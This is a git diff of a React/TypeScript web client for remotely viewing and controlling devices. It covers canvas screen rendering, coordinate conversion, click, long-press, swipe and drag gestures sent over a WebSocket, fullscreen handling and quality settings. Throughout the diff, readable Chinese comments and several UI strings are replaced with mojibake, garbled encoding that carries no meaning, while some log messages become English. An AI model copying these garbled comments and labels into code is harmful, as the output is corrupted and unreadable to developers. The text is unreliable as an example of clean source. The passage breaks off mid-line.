@@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang canvas.width = newW canvas.height = newH } else if (canvas.width !== locked.width || canvas.height !== locked.height) { - // canvas被外部重置了,恢复锁定尺寸 + // canvas琚閮ㄩ噸缃簡锛屾仮澶嶉攣瀹氬昂�? canvas.width = locked.width canvas.height = locked.height } } - // 始终将bitmap绘制到整个canvas区域,浏览器自动缩放 + // 濮嬬粓灏哹itmap缁樺埗鍒版暣涓猚anvas鍖哄煙锛屾祻瑙堝櫒鑷姩缂╂�? ctx.drawImage(bitmap, 0, 0, canvas.width, canvas.height) - // 使用锁定的canvas尺寸上报,保持稳定 + // 浣跨敤閿佸畾鐨刢anvas灏哄涓婃姤锛屼繚鎸佺ǔ�? const reportSize = lockedCanvasSizeRef.current if (reportSize) { const prevSize = imageSizeRef.current @@ -415,7 +1976,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang bitmap.close() - // 解码完成后始终调度下一帧,保持循环活跃 + // 瑙g爜瀹屾垚鍚庡缁堣皟搴︿笅涓€甯э紝淇濇寔寰幆娲昏�? rafIdRef.current = requestAnimationFrame(doRender) }) .catch(err => { @@ -428,53 +1989,22 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang doRender() }, []) - const drawFitMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { - const scale = Math.min(canvas.width / img.width, canvas.height / img.height) - const w = img.width * scale - const h = img.height * scale - const x = (canvas.width - w) / 2 - const y = (canvas.height - h) / 2 - // 只清除图像未覆盖的边缘区域,避免全画布clearRect导致闪烁 - if (x > 0 || y > 0) { - ctx.fillStyle = '#000' - ctx.fillRect(0, 0, canvas.width, canvas.height) - } - ctx.drawImage(img, x, y, w, h) - } - - const drawFillMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { - const scale = Math.max(canvas.width / img.width, canvas.height / img.height) - const x = (canvas.width - img.width * scale) / 2 - const y = (canvas.height - img.height * scale) / 2 - ctx.drawImage(img, x, y, img.width * scale, img.height * scale) - } - - const drawStretchMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { - ctx.drawImage(img, 0, 0, canvas.width, canvas.height) - } - - const drawOriginalMode = (ctx: CanvasRenderingContext2D, img: HTMLImageElement | ImageBitmap, canvas: HTMLCanvasElement) => { - const x = (canvas.width - img.width) / 2 - const y = (canvas.height - img.height) / 2 - ctx.drawImage(img, x, y) - } - - // 坐标转换函数:将canvas坐标转换为设备坐标 + // 鍧愭爣杞崲鍑芥暟锛氬皢canvas鍧愭爣杞崲涓鸿澶囧潗�? const convertCanvasToDeviceCoords = useCallback((canvasX: number, canvasY: number, canvas: HTMLCanvasElement, device: any) => { if (!device) return null const deviceWidth = device.screenWidth const deviceHeight = device.screenHeight - // 使用canvas的实际显示尺寸,而不是内部分辨率 + // 浣跨敤canvas鐨勫疄闄呮樉绀哄昂瀵革紝鑰屼笉鏄唴閮ㄥ垎杈ㄧ�? const rect = canvas.getBoundingClientRect() const canvasWidth = rect.width const canvasHeight = rect.height let imageX: number, imageY: number, imageWidth: number, imageHeight: number - // 由于canvas使用了objectFit: 'contain',浏览器会自动保持宽高比 - // 我们需要计算图像在canvas中的实际显示位置和尺寸 + // 鐢变簬canvas浣跨敤浜唎bjectFit: 'contain'锛屾祻瑙堝櫒浼氳嚜鍔ㄤ繚鎸佸楂樻瘮 + // 鎴戜滑闇€瑕佽绠楀浘鍍忓湪canvas涓殑瀹為檯鏄剧ず浣嶇疆鍜屽昂�? const scale = Math.min(canvasWidth / deviceWidth, canvasHeight / deviceHeight) imageWidth = deviceWidth * scale imageHeight = deviceHeight * scale @@ -483,24 +2013,24 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang - // 检查点击是否在图像区域内 + // 妫€鏌ョ偣鍑绘槸鍚﹀湪鍥惧儚鍖哄煙鍐? if (canvasX < imageX || canvasX > imageX + imageWidth || canvasY < imageY || canvasY > imageY + imageHeight) { - console.warn('点击在图像区域外') - return null // 点击在图像区域外 + console.warn('鐐瑰嚮鍦ㄥ浘鍍忓尯鍩熷') + return null // 鐐瑰嚮鍦ㄥ浘鍍忓尯鍩熷 } - // 将canvas坐标转换为图像内的相对坐标 + // 灏哻anvas鍧愭爣杞崲涓哄浘鍍忓唴鐨勭浉瀵瑰潗鏍? const relativeX = canvasX - imageX const relativeY = canvasY - imageY - // 转换为设备坐标 + // 杞崲涓鸿澶囧潗鏍? const deviceX = (relativeX / imageWidth) * deviceWidth const deviceY = (relativeY / imageHeight) * deviceHeight console.log('deviceX', deviceX) console.log('deviceY', deviceY) - // 确保坐标在设备范围内 + // 纭繚鍧愭爣鍦ㄨ澶囪寖鍥村�? const clampedX = Math.max(0, Math.min(deviceWidth - 1, deviceX)) const clampedY = Math.max(0, Math.min(deviceHeight - 1, deviceY)) @@ -519,15 +2049,15 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang // const canvasX = event.clientX - rect.left // const canvasY = event.clientY - rect.top - // // 根据显示模式计算正确的设备坐标 + // // 鏍规嵁鏄剧ず妯″紡璁$畻姝g‘鐨勮澶囧潗鏍? // const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, canvas, device) // if (!deviceCoords) { - // console.warn('无法转换坐标,可能点击在图像区域外') + // console.warn('Coordinate conversion failed, click may be outside image bounds') // return // } - // console.log(`点击位置转换: Canvas(${canvasX.toFixed(1)}, ${canvasY.toFixed(1)}) -> Device(${deviceCoords.x.toFixed(1)}, ${deviceCoords.y.toFixed(1)})`) + // console.log(`鐐瑰嚮浣嶇疆杞�? Canvas(${canvasX.toFixed(1)}, ${canvasY.toFixed(1)}) -> Device(${deviceCoords.x.toFixed(1)}, ${deviceCoords.y.toFixed(1)})`) // webSocket.emit('control_message', { // type: action, @@ -536,7 +2066,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang // timestamp: Date.now() // }) - // // 显示触摸指示器 + // // 鏄剧ず瑙︽懜鎸囩ず鍣? // if (screenDisplay.showTouchIndicator) { // showTouchIndicator(canvasX, canvasY) // } @@ -570,7 +2100,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const container = canvasRef.current?.parentElement if (!container) return - // 创建滑动轨迹线 + // 鍒涘缓婊戝姩杞ㄨ抗绾? const line = document.createElement('div') const length = Math.sqrt(Math.pow(endX - startX, 2) + Math.pow(endY - startY, 2)) const angle = Math.atan2(endY - startY, endX - startX) * 180 / Math.PI @@ -586,7 +2116,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang line.style.pointerEvents = 'none' line.style.zIndex = '1000' - // 创建箭头 + // 鍒涘缓绠ご const arrow = document.createElement('div') arrow.style.position = 'absolute' arrow.style.left = `${endX - 5}px` @@ -635,12 +2165,12 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } } - // 显示长按拖拽开始指示器 + // 鏄剧ず闀挎寜鎷栨嫿寮€濮嬫寚绀哄櫒 const showLongPressDragStartIndicator = (x: number, y: number) => { const container = canvasRef.current?.parentElement if (!container) return - // 创建长按拖拽开始指示器(较大的圆圈,橙色) + // 鍒涘缓闀挎寜鎷栨嫿寮€濮嬫寚绀哄櫒锛堣緝澶х殑鍦嗗湀锛屾鑹诧級 const indicator = document.createElement('div') indicator.style.position = 'absolute' indicator.style.left = `${x - 20}px` @@ -655,7 +2185,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang indicator.style.animation = 'pulse 0.8s infinite' indicator.className = 'long-press-drag-start' - // 添加文字标识 + // 娣诲姞鏂囧瓧鏍囪�? const label = document.createElement('div') label.style.position = 'absolute' label.style.left = '50%' @@ -665,7 +2195,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang label.style.fontWeight = 'bold' label.style.color = '#fff' label.style.textShadow = '1px 1px 2px rgba(0,0,0,0.8)' - label.textContent = '拖' + label.textContent = 'Hold' indicator.appendChild(label) container.style.position = 'relative' @@ -674,18 +2204,18 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang return indicator } - // 显示长按拖拽路径指示器 + // 鏄剧ず闀挎寜鎷栨嫿璺緞鎸囩ず鍣? const showLongPressDragPath = (startX: number, startY: number, endX: number, endY: number) => { const container = canvasRef.current?.parentElement if (!container) return - // 清除之前的拖拽开始指示器 + // 娓呴櫎涔嬪墠鐨勬嫋鎷藉紑濮嬫寚绀哄櫒 const existingIndicator = container.querySelector('.long-press-drag-start') if (existingIndicator) { container.removeChild(existingIndicator) } - // 创建拖拽路径线(粗一些,橙色渐变) + // 鍒涘缓鎷栨嫿璺緞绾匡紙绮椾竴浜涳紝姗欒壊娓愬彉�? const line = document.createElement('div') const length = Math.sqrt(Math.pow(endX - startX, 2) + Math.pow(endY - startY, 2)) const angle = Math.atan2(endY - startY, endX - startX) * 180 / Math.PI @@ -702,7 +2232,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang line.style.zIndex = '999' line.style.boxShadow = '0 0 6px rgba(255, 140, 0, 0.6)' - // 创建起始点指示器 + // 鍒涘缓璧峰鐐规寚绀哄櫒 const startIndicator = document.createElement('div') startIndicator.style.position = 'absolute' startIndicator.style.left = `${startX - 8}px` @@ -715,7 +2245,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang startIndicator.style.pointerEvents = 'none' startIndicator.style.zIndex = '1001' - // 创建结束点指示器(带箭头) + // 鍒涘缓缁撴潫鐐规寚绀哄櫒锛堝甫绠ご�? const endIndicator = document.createElement('div') endIndicator.style.position = 'absolute' endIndicator.style.left = `${endX - 12}px` @@ -729,7 +2259,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang endIndicator.style.zIndex = '1001' endIndicator.style.boxShadow = '0 0 8px rgba(255, 99, 71, 0.8)' - // 添加箭头图标 + // 娣诲姞绠ご鍥炬�? const arrow = document.createElement('div') arrow.style.position = 'absolute' arrow.style.left = '50%' @@ -738,7 +2268,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang arrow.style.fontSize = '12px' arrow.style.color = '#fff' arrow.style.fontWeight = 'bold' - arrow.textContent = '→' + arrow.textContent = '->' endIndicator.appendChild(arrow) container.style.position = 'relative' @@ -746,7 +2276,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang container.appendChild(startIndicator) container.appendChild(endIndicator) - // 1.5秒后清除指示器 + // 1.5绉掑悗娓呴櫎鎸囩ず鍣? setTimeout(() => { if (container.contains(line)) container.removeChild(line) if (container.contains(startIndicator)) container.removeChild(startIndicator) @@ -754,31 +2284,31 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang }, 1500) } - // 添加滑动处理 + // 娣诲姞婊戝姩澶勭�? const [isDragging, setIsDragging] = useState(false) const [dragStart, setDragStart] = useState<{x: number, y: number} | null>(null) - // 添加长按处理 + // 娣诲姞闀挎寜澶勭�? const [isLongPressTriggered, setIsLongPressTriggered] = useState(false) const longPressTimerRef = useRef(null) - // 添加长按拖拽处理状态 + // 娣诲姞闀挎寜鎷栨嫿澶勭悊鐘舵�? const [isLongPressDragging, setIsLongPressDragging] = useState(false) const [longPressDragStartPos, setLongPressDragStartPos] = useState<{x: number, y: number} | null>(null) - // 添加拖拽路径收集状态 + // 娣诲姞鎷栨嫿璺緞鏀堕泦鐘舵�? const [dragPath, setDragPath] = useState>([]) const lastMoveTimeRef = useRef(0) - // 处理真正的点击(从mouseUp中调用) + // 澶勭悊鐪熸鐨勭偣鍑伙紙浠巑ouseUp涓皟鐢級 const performClick = useCallback((canvasX: number, canvasY: number) => { if (!webSocket || !device) return - // 检查操作是否被允许 + // 妫€鏌ユ搷浣滄槸鍚﹁鍏佽 if (!operationEnabled) { - console.warn('屏幕点击操作已被阻止') + console.warn('Click blocked: operation disabled') return } @@ -788,7 +2318,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, canvas, device) if (!deviceCoords) { - console.warn('无法转换坐标,可能点击在图像区域外') + console.warn('Coordinate conversion failed, click may be outside image bounds') return } @@ -801,7 +2331,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang timestamp: Date.now() }) - // 显示触摸指示器 + // 鏄剧ず瑙︽懜鎸囩ず鍣? if (screenDisplay.showTouchIndicator) { showTouchIndicator(canvasX, canvasY) } @@ -809,13 +2339,13 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang }, [webSocket, device, deviceId, screenDisplay.showTouchIndicator, convertCanvasToDeviceCoords, operationEnabled]) - // 处理长按操作 + // 澶勭悊闀挎寜鎿嶄�? const performLongPress = useCallback((canvasX: number, canvasY: number) => { if (!webSocket || !device) return - // 检查操作是否被允许 + // 妫€鏌ユ搷浣滄槸鍚﹁鍏佽 if (!operationEnabled) { - console.warn('屏幕长按操作已被阻止') + console.warn('Long press blocked: operation disabled') return } @@ -825,11 +2355,11 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, canvas, device) if (!deviceCoords) { - console.warn('无法转换坐标,可能长按在图像区域外') + console.warn('Coordinate conversion failed, long press may be outside image bounds') return } - console.log(`长按操作: Canvas(${canvasX.toFixed(1)}, ${canvasY.toFixed(1)}) -> Device(${deviceCoords.x.toFixed(1)}, ${deviceCoords.y.toFixed(1)})`) + console.log(`Long press: Canvas(${canvasX.toFixed(1)}, ${canvasY.toFixed(1)}) -> Device(${deviceCoords.x.toFixed(1)}, ${deviceCoords.y.toFixed(1)})`) webSocket.emit('control_message', { type: 'LONG_PRESS', @@ -838,7 +2368,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang timestamp: Date.now() }) - // 显示长按指示器(使用不同颜色区分) + // 鏄剧ず闀挎寜鎸囩ず鍣紙浣跨敤涓嶅悓棰滆壊鍖哄垎�? if (screenDisplay.showTouchIndicator) { showLongPressIndicator(canvasX, canvasY) } @@ -858,16 +2388,16 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang setDragStart({ x: startX, y: startY }) - // 启动长按计时器 + // 鍚姩闀挎寜璁℃椂鍣? setIsLongPressTriggered(false) setIsLongPressDragging(false) setLongPressDragStartPos(null) - setDragPath([]) // 清理拖拽路径 + setDragPath([]) // 娓呯悊鎷栨嫿璺�? longPressTimerRef.current = window.setTimeout(() => { setIsLongPressTriggered(true) - // 长按触发后不立即执行操作,而是准备进入拖拽模式 - console.log('长按触发,准备进入拖拽模式') - }, 500) // 500ms 后触发长按 + // 闀挎寜瑙﹀彂鍚庝笉绔嬪嵆鎵ц鎿嶄綔锛岃€屾槸鍑嗗杩涘叆鎷栨嫿妯″紡 + console.log('Long press triggered, preparing drag mode') + }, 500) // 500ms 鍚庤Е鍙戦暱鎸? }, [performLongPress]) const handleMouseMove = useCallback((event: React.MouseEvent) => { @@ -875,35 +2405,35 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang event.preventDefault() - // 处理长按拖拽逻辑 - 优化为连续手势 + // 澶勭悊闀挎寜鎷栨嫿閫昏緫 - 浼樺寲涓鸿繛缁墜鍔? if (isLongPressTriggered && !isLongPressDragging) { - // 长按已触发,用户开始拖拽,进入长按拖拽模式 + // 闀挎寜宸茶Е鍙戯紝鐢ㄦ埛寮€濮嬫嫋鎷斤紝杩涘叆闀挎寜鎷栨嫿妯″紡 if (!webSocket || !device || !operationEnabled) return const canvas = canvasRef.current if (!canvas) return - // 转换开始位置为设备坐标 + // 杞崲寮€濮嬩綅缃负璁惧鍧愭�? const startCoords = convertCanvasToDeviceCoords(dragStart.x, dragStart.y, canvas, device) if (!startCoords) return setIsLongPressDragging(true) setLongPressDragStartPos(startCoords) - // 优化:初始化拖拽路径,包含起始点 + // 浼樺寲锛氬垵濮嬪寲鎷栨嫿璺緞锛屽寘鍚捣濮嬬偣 setDragPath([startCoords]) - // 显示长按拖拽开始指示器 + // 鏄剧ず闀挎寜鎷栨嫿寮€濮嬫寚绀哄櫒 if (screenDisplay.showTouchIndicator) { showLongPressDragStartIndicator(dragStart.x, dragStart.y) } - console.log(`长按拖拽开始: Device(${startCoords.x.toFixed(1)}, ${startCoords.y.toFixed(1)})`) + console.log(`Long press drag started: Device(${startCoords.x.toFixed(1)}, ${startCoords.y.toFixed(1)})`) } else if (isLongPressDragging) { - // 优化:收集拖拽路径点,而不是立即发送消息 + // 浼樺寲锛氭敹闆嗘嫋鎷借矾寰勭偣锛岃€屼笉鏄珛鍗冲彂閫佹秷鎭? const now = Date.now() - // 频率控制:每50ms最多记录一个点,避免路径过密 + // 棰戠巼鎺у埗锛氭瘡50ms鏈€澶氳褰曚竴涓偣锛岄伩鍏嶈矾寰勮繃�? if (now - lastMoveTimeRef.current < 50) return const canvas = canvasRef.current @@ -916,15 +2446,15 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const currentCoords = convertCanvasToDeviceCoords(currentX, currentY, canvas, device) if (!currentCoords) return - // 添加当前点到路径中 + // 娣诲姞褰撳墠鐐瑰埌璺緞�? setDragPath(prevPath => { const newPath = [...prevPath, currentCoords] - // 限制路径点数量,避免内存占用过大 + // 闄愬埗璺緞鐐规暟閲忥紝閬垮厤鍐呭瓨鍗犵敤杩囧ぇ return newPath.length > 100 ? [newPath[0], ...newPath.slice(-99)] : newPath }) lastMoveTimeRef.current = now - console.debug(`长按拖拽路径收集: Device(${currentCoords.x.toFixed(1)}, ${currentCoords.y.toFixed(1)})`) + console.debug(`Long press drag collecting path: Device(${currentCoords.x.toFixed(1)}, ${currentCoords.y.toFixed(1)})`) } }, [isDragging, dragStart, isLongPressTriggered, isLongPressDragging, webSocket, device, deviceId, operationEnabled, convertCanvasToDeviceCoords, screenDisplay.showTouchIndicator, dragPath]) @@ -934,16 +2464,16 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang event.preventDefault() setIsDragging(false) - // 清理长按计时器 + // 娓呯悊闀挎寜璁℃椂鍣? if (longPressTimerRef.current) { clearTimeout(longPressTimerRef.current) longPressTimerRef.current = null } - // 处理长按相关操作 + // 澶勭悊闀挎寜鐩稿叧鎿嶄綔 if (isLongPressTriggered) { if (isLongPressDragging) { - // 优化:执行完整的长按拖拽手势 + // 浼樺寲锛氭墽琛屽畬鏁寸殑闀挎寜鎷栨嫿鎵嬪娍 if (webSocket && device && operationEnabled && longPressDragStartPos && dragPath.length > 0) { const canvas = canvasRef.current if (canvas) { @@ -953,10 +2483,10 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const endCoords = convertCanvasToDeviceCoords(endX, endY, canvas, device) if (endCoords) { - // 将结束点添加到路径中 + // 灏嗙粨鏉熺偣娣诲姞鍒拌矾寰勪�? const completePath = [...dragPath, endCoords] - // 发送包含完整路径的长按拖拽消息 + // 鍙戦€佸寘鍚畬鏁磋矾寰勭殑闀挎寜鎷栨嫿娑堟伅 webSocket.emit('control_message', { type: 'LONG_PRESS_DRAG', deviceId, @@ -966,14 +2496,14 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang startY: completePath[0].y, endX: endCoords.x, endY: endCoords.y, - duration: Math.max(2000, 1500 + completePath.length * 20) // 优化:为微移动长按预留更多时间 + duration: Math.max(2000, 1500 + completePath.length * 20) // 浼樺寲锛氫负寰Щ鍔ㄩ暱鎸夐鐣欐洿澶氭椂�? }, timestamp: Date.now() }) - console.log(`长按拖拽完成: Device(${completePath[0].x.toFixed(1)}, ${completePath[0].y.toFixed(1)}) -> Device(${endCoords.x.toFixed(1)}, ${endCoords.y.toFixed(1)}), 路径点数: ${completePath.length}`) + console.log(`Long press drag completed: Device(${completePath[0].x.toFixed(1)}, ${completePath[0].y.toFixed(1)}) -> Device(${endCoords.x.toFixed(1)}, ${endCoords.y.toFixed(1)}), pathPoints=${completePath.length}`) - // 显示长按拖拽路径指示器 + // 鏄剧ず闀挎寜鎷栨嫿璺緞鎸囩ず鍣? if (screenDisplay.showTouchIndicator) { showLongPressDragPath(dragStart.x, dragStart.y, endX, endY) } @@ -981,7 +2511,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } } } else { - // 长按已触发但没有拖拽,执行普通长按操作 + // 闀挎寜宸茶Е鍙戜絾娌℃湁鎷栨嫿锛屾墽琛屾櫘閫氶暱鎸夋搷浣? const canvas = canvasRef.current const rect = canvas?.getBoundingClientRect() if (rect) { @@ -991,12 +2521,12 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } } - // 清理长按拖拽相关状态 + // 娓呯悊闀挎寜鎷栨嫿鐩稿叧鐘舵�? setDragStart(null) setIsLongPressTriggered(false) setIsLongPressDragging(false) setLongPressDragStartPos(null) - setDragPath([]) // 清理拖拽路径 + setDragPath([]) // 娓呯悊鎷栨嫿璺�? return } @@ -1007,29 +2537,29 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const endX = event.clientX - rect.left const endY = event.clientY - rect.top - // 计算移动距离 + // 璁$畻绉诲姩璺濈�? const deltaX = Math.abs(endX - dragStart.x) const deltaY = Math.abs(endY - dragStart.y) - const threshold = 10 // 增加阈值到10像素,避免误触 + const threshold = 10 // 澧炲姞闃堝€煎埌10鍍忕礌锛岄伩鍏嶈瑙? if (deltaX < threshold && deltaY < threshold) { - // 小距离移动,当作点击处理 + // 灏忚窛绂荤Щ鍔紝褰撲綔鐐瑰嚮澶勭�? performClick(endX, endY) } else { - // 大距离移动,当作滑动处理 + // 澶ц窛绂荤Щ鍔紝褰撲綔婊戝姩澶勭悊 - // 检查操作是否被允许 + // 妫€鏌ユ搷浣滄槸鍚﹁鍏佽 if (!operationEnabled) { - console.warn('屏幕滑动操作已被阻止') + console.warn('Swipe blocked: operation disabled') return } - // 使用正确的坐标转换函数 + // 浣跨敤姝g‘鐨勫潗鏍囪浆鎹㈠嚱�? const startCoords = convertCanvasToDeviceCoords(dragStart.x, dragStart.y, canvas, device) const endCoords = convertCanvasToDeviceCoords(endX, endY, canvas, device) if (!startCoords || !endCoords) { - console.warn('滑动坐标转换失败,滑动可能在图像区域外') + console.warn('Coordinate conversion failed, swipe may be outside image bounds') return } @@ -1048,7 +2578,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang timestamp: Date.now() }) - // 显示滑动指示器 + // 鏄剧ず婊戝姩鎸囩ず鍣? if (screenDisplay.showTouchIndicator) { showSwipeIndicator(dragStart.x, dragStart.y, endX, endY) } @@ -1057,39 +2587,39 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang setDragStart(null) }, [isDragging, dragStart, webSocket, device, deviceId, screenDisplay.showTouchIndicator, convertCanvasToDeviceCoords, performClick, operationEnabled, isLongPressTriggered, isLongPressDragging, longPressDragStartPos, performLongPress, dragPath]) - // 处理鼠标离开画布 + // 澶勭悊榧犳爣绂诲紑鐢诲竷 const handleMouseLeave = useCallback(() => { setIsDragging(false) setDragStart(null) - // 清理长按计时器和状态 + // 娓呯悊闀挎寜璁℃椂鍣ㄥ拰鐘舵�? if (longPressTimerRef.current) { clearTimeout(longPressTimerRef.current) longPressTimerRef.current = null } setIsLongPressTriggered(false) - // 清理长按拖拽相关状态 + // 娓呯悊闀挎寜鎷栨嫿鐩稿叧鐘舵�? setIsLongPressDragging(false) setLongPressDragStartPos(null) - setDragPath([]) // 清理拖拽路径 + setDragPath([]) // 娓呯悊鎷栨嫿璺�? }, []) - // 全屏切换 + // 鍏ㄥ睆鍒囨崲 const toggleFullscreen = useCallback(() => { const container = fullscreenContainerRef.current if (!container) return if (!document.fullscreenElement) { container.requestFullscreen().catch(err => { - console.warn('进入全屏失败:', err) + console.warn('杩涘叆鍏ㄥ睆澶辫�?', err) }) } else { document.exitFullscreen() } }, []) - // 监听 fullscreenchange 事件同步状态 + // 鐩戝�?fullscreenchange 浜嬩欢鍚屾鐘舵�? useEffect(() => { const onFullscreenChange = () => { setIsFullscreen(!!document.fullscreenElement) @@ -1100,8 +2630,8 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } }, []) - // 全屏模式下计算 canvas 的 CSS 尺寸(保持宽高比,适配屏幕) - // 使用 state 存储全屏容器尺寸,确保全屏切换和窗口resize时触发重渲染 + // 鍏ㄥ睆妯″紡涓嬭绠?canvas �?CSS 灏哄锛堜繚鎸佸楂樻瘮锛岄€傞厤灞忓箷�? + // 浣跨�?state 瀛樺偍鍏ㄥ睆瀹瑰櫒灏哄锛岀‘淇濆叏灞忓垏鎹㈠拰绐楀彛resize鏃惰Е鍙戦噸娓叉煋 const [containerSize, setContainerSize] = useState<{ w: number; h: number }>({ w: 0, h: 0 }) useEffect(() => { @@ -1109,7 +2639,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang const updateSize = () => { setContainerSize({ w: window.innerWidth, h: window.innerHeight }) } - // 全屏后立即更新 + 延迟更新(部分浏览器全屏动画完成后尺寸才稳定) + // 鍏ㄥ睆鍚庣珛鍗虫洿鏂?+ 寤惰繜鏇存柊锛堥儴鍒嗘祻瑙堝櫒鍏ㄥ睆鍔ㄧ敾瀹屾垚鍚庡昂瀵告墠绋冲畾�? updateSize() const timer = setTimeout(updateSize, 100) window.addEventListener('resize', updateSize) @@ -1126,7 +2656,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang height: imageSize ? `${imageSize.height}px` : 'auto', } } - // 全屏时:canvas 按宽高比缩放填满屏幕 + // 鍏ㄥ睆鏃讹細canvas 鎸夊楂樻瘮缂╂斁濉弧灞忓�? const scale = Math.min(containerSize.w / imageSize.width, containerSize.h / imageSize.height) return { width: `${Math.round(imageSize.width * scale)}px`, @@ -1134,6 +2664,12 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang } }, [isFullscreen, imageSize, containerSize]) + const webrtcDebugUpdatedAt = Number.isFinite(webrtcDebug.updatedAt) + ? new Date(webrtcDebug.updatedAt).toISOString().slice(11, 19) + : '--:--:--' + const webrtcDiagnosisHints = buildWebRtcDiagnosisHints(webrtcDebug) + const webrtcDiagnosticReport = buildWebRtcDiagnosticReport() + if (!device) { @@ -1148,7 +2684,7 @@ const DeviceScreen: React.FC = ({ deviceId, onScreenSizeChang return ( <> - {/* 添加CSS动画 */} + {/* 娣诲姞CSS鍔ㄧ�?*/} + +
+ {/* 椤堕儴淇℃伅鏍?- 灞忓箷闃呰鍣ㄦā寮忎笅闅愯棌 */} + + {/* 鎿嶄綔鐘舵€佹寚绀哄櫒 */} + {!operationEnabled && ( +
+ [LOCKED] 鎿嶄綔宸茬鐢? +
+ )} + + + + {isLoading && ( +
+ +
+ 姝e湪杩炴帴璁惧灞忓箷... +
+
+ )} + + {/* Canvas wrapper - position:relative so touch/swipe indicators are positioned relative to canvas */} +
+ e.preventDefault()} + /> +
+ + {/* 鐢昏川鎺у埗闈㈡澘 + 鍏ㄥ睆鎸夐挳 */} +
+ + {displayFps} FPS{networkStats.dropRate > 0.05 ? ` [!]${(networkStats.dropRate * 100).toFixed(0)}%涓㈠抚` : ''} + +
+ + {showQualityPanel && ( +
+ {QUALITY_PROFILES.map(p => ( +
{ handleSetProfile(p.key); setShowQualityPanel(false) }} + style={{ + color: currentProfile === p.key ? '#1890ff' : '#fff', + fontSize: '12px', + padding: '4px 8px', + cursor: 'pointer', + borderRadius: '3px', + background: currentProfile === p.key ? 'rgba(24,144,255,0.15)' : 'transparent', + }} + > + {p.label} ({p.fps}fps / {p.resolution}) +
+ ))} +
+ )} +
+ {/* 鍏ㄥ睆/閫€鍑哄叏灞忔寜閽?*/} + +
+
+ + ) +} + +export default DeviceScreen diff --git a/src/components/RemoteControlApp.tsx b/src/components/RemoteControlApp.tsx index 4aa17cd..3d13201 100644 --- a/src/components/RemoteControlApp.tsx +++ b/src/components/RemoteControlApp.tsx @@ -1,5 +1,5 @@ import React, { useState, useEffect } from 'react' -import { Layout, Menu, Button, Popconfirm, App, Dropdown, Table, Modal, Space, Tag, Badge, Input } from 'antd' +import { Layout, Menu, Button, Popconfirm, App, Dropdown, Table, Modal, Space, Tag, Badge, Input, Select } from 'antd' import { NodeIndexOutlined, ArrowLeftOutlined, HomeOutlined } from '@ant-design/icons' import { useDispatch, useSelector } from 'react-redux' import { @@ -18,7 +18,8 @@ import { ControlOutlined, AppstoreOutlined, PlayCircleOutlined, - StopOutlined + StopOutlined, + TeamOutlined } from '@ant-design/icons' import DeviceScreen from './Device/DeviceScreen' // import DeviceCamera from './Device/DeviceCamera' @@ -26,6 +27,7 @@ import ControlPanel from './Control/ControlPanel' import APKManager from './APKManager' import ConnectDialog from './Connection/ConnectDialog' import ScreenReader from './Device/ScreenReader' +import TenantManagement from './Admin/TenantManagement' // import GalleryView from './Gallery/GalleryView' import type { RootState, AppDispatch } from '../store/store' import { setConnectionStatus, setWebSocket, setServerUrl } from '../store/slices/connectionSlice' @@ -38,6 +40,7 @@ import apiClient from '../services/apiClient' import DeviceFilter from './Control/DeviceFilter' const { Header, Sider, Content } = Layout +type DeviceVideoSessionMode = 'ws_default' | 'webrtc_boost' | 'fallback_ws' /** * 远程控制主应用组件 @@ -48,8 +51,12 @@ const RemoteControlApp: React.FC = () => { const { status: connectionStatus, serverUrl, webSocket } = useSelector((state: RootState) => state.connection) const { selectedDeviceId, connectedDevices } = useSelector((state: RootState) => state.devices) const filteredDevices = useSelector((state: RootState) => selectFilteredDevices(state)) - const { cameraViewVisible, operationEnabled } = useSelector((state: RootState) => state.ui) + const { operationEnabled } = useSelector((state: RootState) => state.ui) const currentUser = useSelector(selectUser) + const 